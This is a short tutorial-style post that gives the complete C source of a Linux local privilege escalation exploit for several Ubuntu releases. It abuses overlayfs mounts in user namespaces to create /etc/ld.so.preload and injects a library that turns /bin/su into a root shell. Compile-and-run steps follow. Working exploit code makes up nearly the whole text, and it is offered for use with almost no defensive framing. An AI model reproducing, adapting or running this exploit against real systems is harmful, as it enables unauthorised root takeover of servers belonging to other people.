Privilege Escalation: How hackers gain root access to your Linux VPS server (Still working ) 2016

I will show you how hackers gain root access to your Linux VPS server. This exploit still working nowadays.

The process will be explained with details following this demo:
First: Create a C file "privilege_escalation.c" 

put this code in the file:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);
    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";
    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");
    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }
    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;
    fprintf(stderr,"spawning threads\n");
    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");
        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }
            waitpid(pid, &status, 0);
        }
        waitpid(init, &status, 0);
        return 0;
    }
    usleep(300000);
    wait(NULL);
    fprintf(stderr,"child threads done\n");
    fd = open("/etc/ld.so.preload",O_WRONLY);
    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }
    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}

Second Step : Compile and Build the program :

To create the executable run this command:

user@ubuntu-server-1504:~$ gcc privilege_escalation.c -o privilege_escalation

 This will make an executable program  called privilege_escalation..

Final Step :  Get  access to shell As root (running the exploit)

execute the exploit by this command:

user@ubuntu-server-1504:~$ ./privilege_escalation

This will generate a root terminal.
This exploit works on Ubuntu 12.04, 14.04, 14.10, 15.04